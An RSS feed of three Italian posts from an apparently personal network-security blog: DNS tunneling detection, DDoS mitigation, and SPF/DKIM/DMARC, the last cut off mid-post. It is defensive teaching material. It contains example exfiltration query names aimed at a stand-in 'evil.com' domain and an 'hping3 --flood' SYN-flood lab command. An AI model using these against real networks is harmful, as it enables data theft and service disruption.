<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>Attacks on My personal blog</title>
        <link>https://www.matteobianchi.eu/tags/attacks/</link>
        <description>Recent content in Attacks on My personal blog</description>
        <generator>Hugo -- gohugo.io</generator>
        <language>en</language>
        <lastBuildDate>Sat, 19 Sep 2026 09:00:00 +0200</lastBuildDate><atom:link href="https://www.matteobianchi.eu/tags/attacks/index.xml" rel="self" type="application/rss+xml" /><item>
        <title>DNS tunneling: esfiltrare dati dentro le query, e come accorgersene</title>
        <link>https://www.matteobianchi.eu/p/dns-tunneling-detection/</link>
        <pubDate>Sat, 19 Sep 2026 09:00:00 +0200</pubDate>
        
        <guid>https://www.matteobianchi.eu/p/dns-tunneling-detection/</guid>
        <description>&lt;img src="https://www.matteobianchi.eu/p/dns-tunneling-detection/cover.png" alt="Featured image of post DNS tunneling: esfiltrare dati dentro le query, e come accorgersene" /&gt;&lt;h2 id=&#34;perché-conta&#34;&gt;Perché conta
&lt;/h2&gt;&lt;p&gt;Nel &lt;a class=&#34;link&#34; href=&#34;https://www.matteobianchi.eu/p/dns-security-dnssec-doh/&#34; &gt;capitolo sulla sicurezza DNS&lt;/a&gt; abbiamo visto come
proteggere l&amp;rsquo;integrità e la riservatezza delle query. Ma il DNS ha un&amp;rsquo;altra proprietà sfruttabile:
&lt;strong&gt;passa quasi sempre&lt;/strong&gt;. Anche nelle reti dove ogni altra porta è filtrata, la 53 resta aperta
perché senza risoluzione dei nomi nulla funziona. Gli attaccanti ne fanno un &lt;strong&gt;canale nascosto&lt;/strong&gt;:
codificano dati dentro i nomi di dominio delle query e li fanno uscire sotto forma di traffico DNS
apparentemente normale. È uno dei modi più comuni per il comando-e-controllo (C2) e per
l&amp;rsquo;esfiltrazione di dati da una rete altrimenti chiusa.&lt;/p&gt;
&lt;h2 id=&#34;come-si-nascondono-i-dati-in-una-query&#34;&gt;Come si nascondono i dati in una query
&lt;/h2&gt;&lt;p&gt;L&amp;rsquo;idea è semplice: un nome DNS può contenere testo arbitrario nei suoi sottodomini. L&amp;rsquo;attaccante
controlla il name server autoritativo di un dominio, per esempio &lt;code&gt;tunnel.evil.com&lt;/code&gt;, e il malware
sulla macchina compromessa invia i dati come sottodomini:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;ZGF0YS1ydWJhdG8.tunnel.evil.com      &amp;lt;- dati codificati in base32/64
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;c2Vzc2lvbi1pZC00Mg.tunnel.evil.com
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;pre class=&#34;mermaid&#34;&gt;
  flowchart LR
    M[&amp;#34;Host compromesso&amp;lt;br/&amp;gt;(malware)&amp;#34;] --&amp;gt;|query:&amp;lt;br/&amp;gt;DATI.tunnel.evil.com| R[Resolver interno]
    R --&amp;gt;|risoluzione ricorsiva| NS[&amp;#34;Name server autoritativo&amp;lt;br/&amp;gt;(attaccante)&amp;#34;]
    NS --&amp;gt;|risposta: dati nel record TXT| R
    R --&amp;gt; M
    style NS fill:#fde2e4,stroke:#e63946
&lt;/pre&gt;

&lt;p&gt;La query risale la catena DNS fino al name server dell&amp;rsquo;attaccante, che &lt;strong&gt;decodifica&lt;/strong&gt; i dati dal
nome e risponde — spesso in un record &lt;code&gt;TXT&lt;/code&gt; — rimandando indietro comandi. Si crea un canale
bidirezionale completo, costruito interamente con DNS legittimo. Nessuna connessione diretta,
nessuna porta sospetta: solo query.&lt;/p&gt;
&lt;h2 id=&#34;i-segnali-che-lo-tradiscono&#34;&gt;I segnali che lo tradiscono
&lt;/h2&gt;&lt;p&gt;Il tunneling è efficace perché mimetizza, ma lascia tracce statistiche. Il DNS normale ha un
profilo preciso; il tunnel lo rompe:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Volume&lt;/strong&gt;: un host che genera migliaia di query verso lo stesso dominio è anomalo. Il DNS di un
utente reale è sporadico e vario.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Lunghezza dei nomi&lt;/strong&gt;: i sottodomini del tunnel sono lunghi (devono trasportare dati); i nomi
reali sono corti.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Entropia&lt;/strong&gt;: i dati codificati sembrano casuali, mentre i nomi legittimi sono pronunciabili.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tipo di record&lt;/strong&gt;: un uso massiccio di &lt;code&gt;TXT&lt;/code&gt; o &lt;code&gt;NULL&lt;/code&gt; verso un singolo dominio è sospetto.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;L&amp;rsquo;entropia è il segnale più robusto. Per un nome con frequenze dei caratteri $p_i$, l&amp;rsquo;entropia di
Shannon è:&lt;/p&gt;
&lt;p&gt;$$
H = -\sum_{i} p_i \log_2 p_i
$$&lt;/p&gt;
&lt;p&gt;Un sottodominio come &lt;code&gt;www&lt;/code&gt; o &lt;code&gt;mail&lt;/code&gt; ha entropia bassa; una stringa base64 casuale si avvicina al
massimo teorico ($\approx 6$ bit/carattere per base64). Una soglia sull&amp;rsquo;entropia media dei
sottodomini per dominio separa quasi sempre il traffico reale dal tunnel.&lt;/p&gt;
&lt;h2 id=&#34;rilevare-dalla-statistica-alla-regola&#34;&gt;Rilevare: dalla statistica alla regola
&lt;/h2&gt;&lt;p&gt;In pratica si combinano i segnali in logica di detection, idealmente dentro il
&lt;a class=&#34;link&#34; href=&#34;https://www.matteobianchi.eu/p/siem-log-correlation/&#34; &gt;SIEM&lt;/a&gt; che già raccoglie i log DNS:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;hl&#34;&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;hl&#34;&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;hl&#34;&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;regola: possibile DNS tunneling
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line hl&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  QUANDO  un host interroga lo stesso dominio di 2° livello
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line hl&#34;&gt;&lt;span class=&#34;cl&#34;&gt;          piu di 100 volte in 10 minuti
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line hl&#34;&gt;&lt;span class=&#34;cl&#34;&gt;          E entropia media dei sottodomini &amp;gt; 3.5 bit/char
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;          E lunghezza media dei sottodomini &amp;gt; 40 caratteri
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  ALLORA  allarme, tecnica ATT&amp;amp;CK T1071.004
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;Nessun singolo criterio basta — esistono servizi legittimi (antivirus, CDN) che generano molte
query. È la &lt;strong&gt;combinazione&lt;/strong&gt; di volume, lunghezza ed entropia verso un unico dominio a distinguere
il tunnel.&lt;/p&gt;
&lt;h2 id=&#34;difese-dirette&#34;&gt;Difese dirette
&lt;/h2&gt;&lt;p&gt;Oltre al rilevamento, alcune misure riducono la superficie:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Forzare un resolver interno&lt;/strong&gt;: bloccare la porta 53 in uscita verso internet e obbligare tutti i
client a usare il resolver aziendale (che logga e ispeziona). Senza questo, il tunneling via
&lt;a class=&#34;link&#34; href=&#34;https://www.matteobianchi.eu/p/dns-security-dnssec-doh/&#34; &gt;DoH&lt;/a&gt; diventa ancora più difficile da vedere,
perché il traffico è cifrato in HTTPS.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;RPZ (Response Policy Zone)&lt;/strong&gt;: bloccare la risoluzione verso domini noti per tunneling o appena
registrati.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Threat intelligence&lt;/strong&gt;: liste di domini C2 noti, integrate nel resolver.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;lab&#34;&gt;Lab
&lt;/h2&gt;&lt;p&gt;In un ambiente di test isolato (mai verso internet reale):&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Avviate uno strumento di tunneling DNS da laboratorio (es. &lt;code&gt;iodine&lt;/code&gt; o &lt;code&gt;dnscat2&lt;/code&gt;) tra due nodi
containerlab, con un dominio di test e un name server controllato.&lt;/li&gt;
&lt;li&gt;Catturate il traffico DNS con &lt;a class=&#34;link&#34; href=&#34;https://www.matteobianchi.eu/p/packet-analysis-wireshark/&#34; &gt;Wireshark&lt;/a&gt; e
osservate i sottodomini lunghi e ad alta entropia.&lt;/li&gt;
&lt;li&gt;Scrivete uno script che calcoli l&amp;rsquo;entropia di Shannon dei sottodomini dai log del resolver.&lt;/li&gt;
&lt;li&gt;Tarate una soglia che distingua il tunnel dal traffico DNS normale catturato in parallelo.&lt;/li&gt;
&lt;/ol&gt;


&lt;details&gt;
&lt;summary&gt;&lt;strong&gt;Domanda:&lt;/strong&gt; se il DNS tunneling è così lento e rumoroso statisticamente, perché gli attaccanti lo usano ancora?&lt;/summary&gt;
&lt;p&gt;Per un motivo che batte ogni svantaggio: funziona dove nient&#39;altro funziona. In una rete segmentata
e filtrata — pensate a un ambiente industriale o a una DMZ ostile — può darsi che l&#39;unica cosa
autorizzata a uscire sia la risoluzione dei nomi, perché bloccarla romperebbe tutto. Lì un canale C2
su HTTP o su una porta custom è semplicemente impossibile, mentre il DNS esce. La lentezza non è un
problema per il C2: comandi e piccole quantità di dati rubati (credenziali, chiavi) stanno in pochi
kilobyte. È rumoroso &lt;em&gt;solo se qualcuno guarda&lt;/em&gt;: in una rete che non ispeziona né correla i log
DNS, il tunnel è invisibile proprio perché somiglia a traffico legittimo. È il classico caso in cui il
rilevamento conta più della prevenzione: non potete chiudere il DNS, ma potete accorgervi di come
viene abusato.&lt;/p&gt;
&lt;/details&gt;


&lt;h2 id=&#34;conclusione&#34;&gt;Conclusione
&lt;/h2&gt;&lt;p&gt;Il DNS tunneling sfrutta l&amp;rsquo;unica porta che quasi nessuno osa chiudere, trasformando le query in un
canale nascosto per C2 ed esfiltrazione. La difesa non può essere bloccare il DNS, ma riconoscerne
l&amp;rsquo;abuso: volume, lunghezza dei nomi ed entropia verso un singolo dominio sono i segnali, e la loro
combinazione — meglio se dentro un SIEM che correla — è ciò che distingue il tunnel dal traffico
reale. A monte, un resolver interno obbligatorio e le RPZ riducono la superficie. Come spesso nella
sicurezza DNS, la chiave è guardare un protocollo che di solito nessuno guarda.&lt;/p&gt;
</description>
        </item>
        <item>
        <title>Anatomia di un DDoS</title>
        <link>https://www.matteobianchi.eu/p/ddos-anatomy-and-mitigation/</link>
        <pubDate>Tue, 15 Sep 2026 09:00:00 +0200</pubDate>
        
        <guid>https://www.matteobianchi.eu/p/ddos-anatomy-and-mitigation/</guid>
        <description>&lt;img src="https://www.matteobianchi.eu/p/ddos-anatomy-and-mitigation/cover.png" alt="Featured image of post Anatomia di un DDoS" /&gt;&lt;h2 id=&#34;perché-conta&#34;&gt;Perché conta
&lt;/h2&gt;&lt;p&gt;La riservatezza e l&amp;rsquo;integrità si proteggono con la crittografia. La &lt;strong&gt;disponibilità&lt;/strong&gt; no: non
esiste una chiave che impedisca a un milione di richieste di saturare un server. Il DDoS
(Distributed Denial of Service) attacca proprio questa terza gamba — la minaccia T4 del
&lt;a class=&#34;link&#34; href=&#34;https://www.matteobianchi.eu/p/threat-modeling-networks/&#34; &gt;threat model&lt;/a&gt; — e lo fa con la forza bruta
distribuita su migliaia di macchine.&lt;/p&gt;
&lt;p&gt;È anche il capitolo dove la verità è scomoda: contro un attacco volumetrico grande, da soli non si
può fare quasi nulla. Capire &lt;strong&gt;perché&lt;/strong&gt; è il primo passo per difendersi bene.&lt;/p&gt;
&lt;h2 id=&#34;tre-famiglie-tre-bersagli&#34;&gt;Tre famiglie, tre bersagli
&lt;/h2&gt;&lt;pre class=&#34;mermaid&#34;&gt;
  flowchart TD
    DDoS[DDoS] --&amp;gt; V[&amp;#34;Volumetrici&amp;lt;br/&amp;gt;saturano la banda&amp;#34;]
    DDoS --&amp;gt; P[&amp;#34;Di protocollo&amp;lt;br/&amp;gt;saturano le tabelle di stato&amp;#34;]
    DDoS --&amp;gt; A[&amp;#34;Applicativi (L7)&amp;lt;br/&amp;gt;saturano la CPU/il DB del server&amp;#34;]
    V --&amp;gt; V1[&amp;#34;UDP/DNS/NTP flood&amp;lt;br/&amp;gt;amplificazione&amp;#34;]
    P --&amp;gt; P1[&amp;#34;SYN flood&amp;lt;br/&amp;gt;connessioni mai completate&amp;#34;]
    A --&amp;gt; A1[&amp;#34;HTTP flood&amp;lt;br/&amp;gt;richieste &amp;#39;costose&amp;#39; ripetute&amp;#34;]
    style V fill:#fde2e4,stroke:#e63946
    style P fill:#fde2e4,stroke:#e63946
    style A fill:#fde2e4,stroke:#e63946
&lt;/pre&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Volumetrici&lt;/strong&gt;: riempiono la banda in ingresso. Si misurano in Gbit/s o Tbit/s. Se il tubo è
pieno, nessuna regola locale aiuta: il traffico legittimo non arriva nemmeno.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Di protocollo&lt;/strong&gt;: non serve banda, serve esaurire una risorsa. Il SYN flood riempie la tabella
delle connessioni half-open.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Applicativi&lt;/strong&gt;: poche richieste, ma costose (una ricerca complessa, un login). Difficili da
distinguere dal traffico vero.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;il-syn-flood-e-le-syn-cookies&#34;&gt;Il SYN flood e le SYN cookies
&lt;/h2&gt;&lt;p&gt;Quando un client apre una connessione TCP, manda un SYN; il server risponde SYN-ACK e &lt;strong&gt;riserva
memoria&lt;/strong&gt; per la connessione half-open, in attesa dell&amp;rsquo;ACK finale. Il SYN flood invia molti SYN,
spesso con IP sorgente falsificato, e non completa mai l&amp;rsquo;handshake. La tabella si riempie, e i
client veri non entrano più.&lt;/p&gt;
&lt;p&gt;La difesa è elegante: le &lt;strong&gt;SYN cookies&lt;/strong&gt;. Il server non riserva memoria al SYN. Codifica lo stato
dentro il numero di sequenza del SYN-ACK (una funzione crittografica dei parametri della
connessione). Se l&amp;rsquo;ACK finale torna, il server lo decodifica e ricostruisce lo stato; se non
torna — come nel flood — non ha sprecato nulla.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# attivare le SYN cookies sul kernel Linux&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;sysctl -w net.ipv4.tcp_syncookies&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;m&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id=&#34;lamplificazione-perché-un-attaccante-piccolo-fa-male&#34;&gt;L&amp;rsquo;amplificazione: perché un attaccante piccolo fa male
&lt;/h2&gt;&lt;p&gt;Gli attacchi volumetrici più grandi sfruttano l&amp;rsquo;&lt;strong&gt;amplificazione&lt;/strong&gt;. L&amp;rsquo;attaccante invia una piccola
query a un server pubblico (DNS, NTP, memcached), ma falsifica l&amp;rsquo;IP sorgente mettendoci quello
della &lt;strong&gt;vittima&lt;/strong&gt;. Il server risponde — alla vittima — con un pacchetto molto più grande.&lt;/p&gt;
&lt;p&gt;Il fattore di amplificazione è il rapporto:&lt;/p&gt;
&lt;p&gt;$$
F = \frac{\text{dimensione della risposta}}{\text{dimensione della richiesta}}
$$&lt;/p&gt;
&lt;p&gt;Per una query DNS &lt;code&gt;ANY&lt;/code&gt; una risposta può essere decine di volte più grande della domanda; con
memcached mal configurato si sono visti fattori oltre $10,000$. Con $F = 50$, un attaccante che
dispone di 1 Gbit/s di upload genera 50 Gbit/s verso la vittima. La potenza dell&amp;rsquo;attaccante viene
&lt;strong&gt;moltiplicata&lt;/strong&gt; dai server riflettori.&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;amplificazione dipende da due difetti: server pubblici che rispondono a chiunque, e reti che
lasciano uscire pacchetti con IP sorgente falsificato (assenza di &lt;strong&gt;BCP 38 / source address
validation&lt;/strong&gt;). Entrambi vanno risolti da altri, non dalla vittima — ed è il motivo per cui il DDoS
è un problema collettivo.&lt;/p&gt;
&lt;h2 id=&#34;cosa-si-può-mitigare-da-soli-e-cosa-no&#34;&gt;Cosa si può mitigare da soli, e cosa no
&lt;/h2&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Attacco&lt;/th&gt;
&lt;th&gt;Mitigabile localmente?&lt;/th&gt;
&lt;th&gt;Come&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;SYN flood&lt;/td&gt;
&lt;td&gt;Sì, in gran parte&lt;/td&gt;
&lt;td&gt;SYN cookies, rate limiting sulla &lt;code&gt;new&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HTTP flood (L7)&lt;/td&gt;
&lt;td&gt;In parte&lt;/td&gt;
&lt;td&gt;rate limiting per IP, CAPTCHA, cache&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Volumetrico piccolo&lt;/td&gt;
&lt;td&gt;In parte&lt;/td&gt;
&lt;td&gt;rate limiting, filtri sul router&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Volumetrico grande&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;No&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;serve un servizio di mitigazione a monte (scrubbing)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Per i volumetrici grandi la realtà è semplice: se la banda in ingresso è satura, il filtro va fatto
&lt;strong&gt;prima&lt;/strong&gt; che il traffico arrivi al vostro tubo, cioè da un provider di scrubbing o da una CDN che
assorbe l&amp;rsquo;attacco sulla propria rete. È un servizio, non una configurazione.&lt;/p&gt;
&lt;p&gt;Localmente, il rate limiting di nftables (dal &lt;a class=&#34;link&#34; href=&#34;https://www.matteobianchi.eu/p/stateful-firewalls-nftables/&#34; &gt;capitolo 04&lt;/a&gt;)
aiuta contro gli attacchi piccoli:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;hl&#34;&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;table inet filter {
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    chain input {
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line hl&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        tcp dport 443 ct state new limit rate 50/second burst 100 packets accept
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        tcp dport 443 ct state new drop     # oltre la soglia: scarta i nuovi SYN
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;La riga evidenziata limita le &lt;strong&gt;nuove&lt;/strong&gt; connessioni a 50/s: le connessioni già stabilite
(&lt;code&gt;established&lt;/code&gt;) non sono toccate, quindi gli utenti legittimi collegati continuano a lavorare.&lt;/p&gt;
&lt;h2 id=&#34;lab&#34;&gt;Lab
&lt;/h2&gt;&lt;p&gt;Nel lab containerlab (traffico contenuto, è una dimostrazione del meccanismo, non un vero flood):&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Sul nodo server, attivate &lt;code&gt;tcp_syncookies&lt;/code&gt; e osservate &lt;code&gt;netstat -s | grep -i syn&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Dal nodo attacker, generate molti SYN con &lt;code&gt;hping3 -S --flood -p 443 &amp;lt;server&amp;gt;&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Confrontate l&amp;rsquo;uso della tabella di connessione con e senza SYN cookies.&lt;/li&gt;
&lt;li&gt;Aggiungete il rate limiting nftables e misurate quante connessioni nuove passano.&lt;/li&gt;
&lt;/ol&gt;


&lt;details&gt;
&lt;summary&gt;&lt;strong&gt;Domanda:&lt;/strong&gt; perché falsificare l&#39;IP sorgente è utile all&#39;attaccante in un flood volumetrico ma non in un HTTP flood?&lt;/summary&gt;
&lt;p&gt;In un flood volumetrico o SYN l&#39;attaccante non ha bisogno di ricevere risposte: vuole solo
inondare. Falsificare l&#39;IP sorgente nasconde l&#39;origine e, nell&#39;amplificazione, dirige le risposte
dei riflettori verso la vittima. In un HTTP flood invece serve completare l&#39;handshake TCP e la
sessione TLS per inviare richieste HTTP vere: questo richiede un IP sorgente reale che riceve le
risposte, quindi lo spoofing non è possibile. È per questo che gli attacchi L7 usano botnet di
macchine reali compromesse, non pacchetti falsificati.&lt;/p&gt;
&lt;/details&gt;


&lt;h2 id=&#34;conclusione&#34;&gt;Conclusione
&lt;/h2&gt;&lt;p&gt;Il DDoS attacca la disponibilità, che la crittografia non protegge. Alcune forme si mitigano da
soli — SYN cookies, rate limiting — ma i grandi attacchi volumetrici si fermano solo a monte, ed
esistono perché altre reti permettono lo spoofing e l&amp;rsquo;amplificazione. Difendersi bene significa sia
proteggere i propri server, sia non essere parte del problema (niente resolver aperti, source
address validation).&lt;/p&gt;
&lt;p&gt;Abbiamo attraversato tutti gli strati. Nel prossimo capitolo torniamo a un tema concreto: come
proteggere il traffico che attraversa reti non fidate, confrontando i due tunnel più usati.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Prossimo nella serie:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.matteobianchi.eu/p/ipsec-vs-wireguard/&#34; &gt;09 · IPsec contro WireGuard&lt;/a&gt; ·
&lt;a class=&#34;link&#34; href=&#34;https://www.matteobianchi.eu/p/network-security-roadmap/&#34; &gt;Torna alla roadmap&lt;/a&gt;&lt;/p&gt;
</description>
        </item>
        <item>
        <title>SPF, DKIM e DMARC: autenticare chi invia la posta</title>
        <link>https://www.matteobianchi.eu/p/email-authentication-spf-dkim-dmarc/</link>
        <pubDate>Sat, 29 Aug 2026 09:00:00 +0200</pubDate>
        
        <guid>https://www.matteobianchi.eu/p/email-authentication-spf-dkim-dmarc/</guid>
        <description>&lt;img src="https://www.matteobianchi.eu/p/email-authentication-spf-dkim-dmarc/cover.png" alt="Featured image of post SPF, DKIM e DMARC: autenticare chi invia la posta" /&gt;&lt;h2 id=&#34;perché-conta&#34;&gt;Perché conta
&lt;/h2&gt;&lt;p&gt;Il protocollo SMTP è nato senza alcuna autenticazione del mittente: scrivere &lt;code&gt;From: ceo@azienda.it&lt;/code&gt; è facile come scrivere un indirizzo falso sul retro di una busta. È la base del
phishing e del business email compromise. Tre record DNS — SPF, DKIM e DMARC — costruiscono, strato
su strato, una risposta: &lt;em&gt;questo server può spedire per il dominio?&lt;/em&gt;, &lt;em&gt;il messaggio è integro e
davvero firmato dal dominio?&lt;/em&gt; e infine &lt;em&gt;l&amp;rsquo;indirizzo che l&amp;rsquo;utente vede corrisponde?&lt;/em&gt;. Poggiano tutti
sul DNS, quindi si legano direttamente al &lt;a class=&#34;link&#34; href=&#34;https://www.matteobianchi.eu/p/dns-security-dnssec-doh/&#34; &gt;capitolo sulla sicurezza DNS&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&#34;spf-quali-server-possono-spedire&#34;&gt;SPF: quali server possono spedire
&lt;/h2&gt;&lt;p&gt;SPF è un record TXT nel DNS del dominio che elenca gli indirizzi IP autorizzati a inviare posta
per quel dominio. Il server ricevente estrae il dominio dal &lt;code&gt;MAIL FROM&lt;/code&gt; (l&amp;rsquo;envelope, non l&amp;rsquo;header
visibile) e controlla se l&amp;rsquo;IP che si è connesso è nella lista.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;azienda.it.  IN TXT  &amp;#34;v=spf1 ip4:203.0.113.0/24 include:_spf.google.com -all&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ip4:...&lt;/code&gt; e &lt;code&gt;include:...&lt;/code&gt; elencano gli emittenti legittimi.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-all&lt;/code&gt; (hard fail) dice: qualunque altro IP &lt;strong&gt;non&lt;/strong&gt; è autorizzato, rifiuta.&lt;/li&gt;
&lt;/ul&gt;
